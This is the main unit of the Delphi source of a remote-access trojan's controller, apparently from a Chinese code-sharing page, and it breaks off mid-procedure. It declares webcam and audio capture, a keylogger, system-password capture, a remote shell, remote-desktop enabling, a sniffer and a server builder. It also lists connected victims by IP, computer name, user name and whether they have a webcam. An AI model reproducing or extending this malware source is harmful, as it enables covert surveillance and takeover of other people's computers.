📄 unitmain.pas
字号:
unit UnitMain;
interface
uses
ShareMem, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Sockets, StdCtrls, ComCtrls, Menus, CompressionStreamUnitForms, ExtCtrls,
Winsock, Systray, AppEvnts, madExceptVcl, ClipBrd, ImgList, untQQWry, ShellAPI, jpeg,
ToolWin, Buttons, OleCtrls, SHDocVw, IniFiles;
type
TMain = class(TForm)
Systray1: TButton;
StatusBar1: TStatusBar;
Memo1: TMemo;
ApplicationEvents1: TApplicationEvents;
Timer1: TTimer;
PopupMenu1: TPopupMenu;
FileManager1: TMenuItem;
ProcessManager1: TMenuItem;
RegistryEditor1: TMenuItem;
ServiceManager1: TMenuItem;
N4: TMenuItem;
TCPTunnel1: TMenuItem;
NetworkBrowser1: TMenuItem;
RemoteShell1: TMenuItem;
N1: TMenuItem;
N6: TMenuItem;
AudioCapture1: TMenuItem;
WebcamCapture1: TMenuItem;
MadExceptionHandler1: TMadExceptionHandler;
Timer3: TTimer;
Timer2: TTimer;
MainMenu1: TMainMenu;
MenuItem1: TMenuItem;
N2: TMenuItem;
Options1: TMenuItem;
Active1: TMenuItem;
ServicePort1: TMenuItem;
N16: TMenuItem;
N19: TMenuItem;
N14: TMenuItem;
N18: TMenuItem;
N8: TMenuItem;
N17: TMenuItem;
Gongjutool: TToolBar;
ToolButton1: TToolButton;
ToolButton4: TToolButton;
ToolB2: TToolButton;
ToolButton3: TToolButton;
ToolButton5: TToolButton;
ToolButton6: TToolButton;
ToolButton7: TToolButton;
ToolButton8: TToolButton;
ToolB: TToolButton;
ToolButton9: TToolButton;
ToolButton2: TToolButton;
ToolB3: TToolButton;
ToolButton10: TToolButton;
ToolButton24: TToolButton;
ImageList9: TImageList;
ImageList: TImageList;
N20: TMenuItem;
ImageList1: TImageList;
Panel2: TPanel;
IP1: TMenuItem;
N9: TMenuItem;
N10: TMenuItem;
N13: TMenuItem;
N12: TMenuItem;
yy1: TMenuItem;
N3: TMenuItem;
N11: TMenuItem;
Panel4: TPanel;
ListView1: TListView;
Splitter2: TSplitter;
CmdRichEdit: TRichEdit;
PopupMenu2: TPopupMenu;
N5: TMenuItem;
N7: TMenuItem;
N15: TMenuItem;
Keylog1: TMenuItem;
OpenTerm1: TMenuItem;
N21: TMenuItem;
SystemPass1: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure ProcessManager1Click(Sender: TObject);
procedure AudioCapture1Click(Sender: TObject);
procedure WebcamCapture1Click(Sender: TObject);
procedure NetworkBrowser1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure ServiceManager1Click(Sender: TObject);
procedure WindowView1Click(Sender: TObject);
procedure RegistryEditor1Click(Sender: TObject);
procedure RemoteShell1Click(Sender: TObject);
procedure TCPTunnel1Click(Sender: TObject);
procedure FileManager1Click(Sender: TObject);
procedure Active1Click(Sender: TObject);
procedure ServicePort1Click(Sender: TObject);
procedure Systray1Click(Sender: TObject);
procedure ApplicationEvents1Minimize(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure N6Click(Sender: TObject);
procedure spSkinButtonsBar1Sections0Items0Click(Sender: TObject);
procedure ListView1Change(Sender: TObject; Item: TListItem;
Change: TItemChange);
procedure ListView1ColumnClick(Sender: TObject; Column: TListColumn);
procedure ListView1CustomDrawItem(Sender: TCustomListView;
Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
procedure ToolButton5Click(Sender: TObject);
procedure ToolButton6Click(Sender: TObject);
procedure ToolButton7Click(Sender: TObject);
procedure ToolButton8Click(Sender: TObject);
procedure ToolButton9Click(Sender: TObject);
procedure ToolButton2Click(Sender: TObject);
procedure ToolButton10Click(Sender: TObject);
procedure ToolButton3Click(Sender: TObject);
procedure ToolButton1Click(Sender: TObject);
procedure ToolButton4Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure N19Click(Sender: TObject);
procedure N20Click(Sender: TObject);
procedure ListView1Click(Sender: TObject);
procedure N18Click(Sender: TObject);
procedure N17Click(Sender: TObject);
procedure N8Click(Sender: TObject);
procedure TransferView1Click(Sender: TObject);
procedure LoadINIFile;
procedure IPCreate;
procedure FormShow(Sender: TObject);
procedure N13Click(Sender: TObject);
procedure yy1Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure N11Click(Sender: TObject);
procedure N7Click(Sender: TObject);
procedure N5Click(Sender: TObject);
procedure OpenTerm1Click(Sender: TObject);
private
{ Private declarations }
SortType, SortMode: Integer;
Clients: TList;
SystrayIcon: TSystray;
QQWry: TQQWry;
ServerSocket: TServerSocket;
procedure ClientConnect(Sender: TObject; ClientSocket: TCustomWinSocket);
procedure ClientRead(Sender: TObject; ClientSocket: TCustomWinSocket);
procedure ClientDisconnect(Sender: TObject; ClientSocket: TCustomWinSocket);
procedure Connect(var Socket: TCustomWinSocket; Data: Pointer);
procedure RawRead(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
procedure Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
procedure Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
function GetStream(var Socket: TCustomWinSocket): Boolean;
public
{ Public declarations }
Myinifile: Tinifile; {定义一个inifile}
INIFileName: string; {储存inifile的文件名}
AutoSxport: integer; {本地端口}
NotifyConnectList: TList;
NotifyReadList: TList;
NotifyDisconnectList: TList;
function SendStream(Socket: TCustomWinSocket; Stream: TMemoryStream): Boolean;
function GetIPtoAdder(IpName: string): string; {从IP地址得到所在地理位置}
end;
var
Main: TMain;
Port: dword;
LastItem: TListItem;
ItemDelay: Integer;
IPFile: string;
ISClientClose: Boolean;
implementation
{$R *.dfm}
uses
ModalColumns,
UnitTransfers,
UnitWindows,
UnitProcesses,
UnitAudio,
UnitWebcam,
UnitNetwork,
UnitServices,
UnitTraffic,
UnitSniffer,
UnitRegistry,
UnitShell,
UnitTunnel,
UnitFiles,
UnitDesktop,
UnitDelFile,
ShapFormU,
AboutUnit,
Open3389,
UnitConfigServer,
UpIp;
{$WARNINGS OFF}
const
M_TYPE = 1;
M_INFO = 1;
M_CONNECT = 2;
R_ADDRESS = $BBBBBBBB;
function Trim(const S: string): string;
var
I, L: Integer;
begin
L := Length(S);
for I := 1 to L do
begin
if S[I] in [#33..#126] then
Result := Result + Copy(S, I, 1)
else
Break;
end;
Result[I] := #0;
end;
function FileSize(SizeInBytes: dword): string;
const
Formats: array[0..3] of string = (' Bytes', ' KB', ' MB', ' GB');
FormatSpecifier: array[Boolean] of string = ('%n', '%.2n');
var
iLoop: Integer;
TempSize: Real;
begin
iLoop := -1;
TempSize := SizeInBytes;
while (iLoop <= 3) do
begin
TempSize := TempSize / 1024;
Inc(iLoop);
if Trunc(TempSize) = 0 then
begin
TempSize := TempSize * 1024;
Break;
end;
end;
Result := Format(FormatSpecifier[((Frac(TempSize) * 10) > 1)], [TempSize]);
if Copy(Result, Length(Result) - 2, 3) = '.00' then
Result := Copy(Result, 1, Length(Result) - 3);
Result := Result + Formats[iLoop];
end;
procedure ShowColumnInfo(Main: TMain);
var
ListLoop: Integer;
ColumnLoop: Integer;
Info: TComputerInfo;
ListItem: TListItem;
Column: TListColumn;
begin
if Main.ListView1.Items.Count = 0 then Exit;
for ListLoop := 0 to Main.ListView1.Items.Count - 1 do
begin
if ListLoop >= Main.ListView1.Items.Count then Exit;
ListItem := Main.ListView1.Items.Item[ListLoop];
ListItem.SubItems.Clear; //清空
Info := TStreamRecord(TCustomWinSocket(ListItem.Data).Data).Info;
if Main.ListView1.Columns.Count = 0 then Exit;
for ColumnLoop := 1 to Main.ListView1.Columns.Count - 1 do
begin
if ColumnLoop >= Main.ListView1.Columns.Count then Exit;
Column := Main.ListView1.Columns.Items[ColumnLoop];
if Column.Caption = '局域网地址' then
begin
ListItem.SubItems.Add(inet_ntoa(in_addr(Info.LanIP)));
end
else if Column.Caption = '计算机名' then
begin
ListItem.SubItems.Add(string(Info.ComputerName));
end
else if Column.Caption = '处理器' then
begin
ListItem.SubItems.Add(IntToStr(Info.CPU) + ' MHz');
end
else if Column.Caption = '备注' then
begin
ListItem.SubItems.Add(string(Info.ID));
end
else if Column.Caption = '内存大小' then
begin
ListItem.SubItems.Add(FileSize(Info.RAM));
end
else if Column.Caption = '系统类型' then
begin
case Info.OS of
0: ListItem.SubItems.Add('Unknown');
4: ListItem.SubItems.Add('Windows NT');
5: ListItem.SubItems.Add('Win2000');
6: ListItem.SubItems.Add('WinXP');
7: ListItem.SubItems.Add('Win2003');
end;
end
else if Column.Caption = '用户名' then
begin
ListItem.SubItems.Add(string(Info.UserName));
end
else if Column.Caption = '摄像头' then
begin
case Info.Webcam of
False: ListItem.SubItems.Add('无');
True: ListItem.SubItems.Add('有');
end;
end
else if Column.Caption = '版本号' then
begin
ListItem.SubItems.Add(string(Info.Version));
end
else if Column.Caption = '连接密码' then
begin
ListItem.SubItems.Add(string(Info.PassWord));
end;
end;
end;
end;
function Split(Input, Separator: string; Index: Integer): string;
var
N, O: Integer;
p, Q, S: PChar;
Item: string;
begin
Result := '';
O := 1;
try
p := PChar(Input);
S := PChar(Separator);
N := Length(Separator);
repeat
Q := StrPos(p, S);
if Q = nil then Q := StrScan(p, #0);
SetString(Item, p, Q - p);
if O = Index then
begin
if Length(Item) <> 0 then Result := Item;
Exit;
end;
Inc(O);
p := Q + N;
until Q^ = #0;
except
Item := '';
end;
end;
procedure TMain.Connect(var Socket: TCustomWinSocket; Data: Pointer);
var
Main: TMain;
ConnectionInfo: TConnectionInfo;
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
function IsClient(Socket: TCustomWinSocket): Boolean;
var
ClientLoop: Integer;
begin
Result := False;
if Main.Clients.Count = 0 then Exit;
for ClientLoop := 0 to Main.Clients.Count - 1 do
begin
if ClientLoop >= Main.Clients.Count then Exit;
if TStreamRecord(Socket.Data).LocalAddress = TStreamRecord(TCustomWinSocket(Main.Clients.Items[ClientLoop]).Data).LocalAddress then
begin
Result := True;
Exit;
end;
end;
end;
begin
Main := TMain(Data);
if IsClient(Socket) then Exit;
Main.Clients.Add(Socket);
ConnectionInfo.ConnectionType := M_TYPE;
Socket.SendBuf(ConnectionInfo, SizeOf(TConnectionInfo));
CommandFrame.len := 0;
CommandFrame.Command := M_INFO;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
Socket := nil;
end;
procedure TMain.RawRead(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
var
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -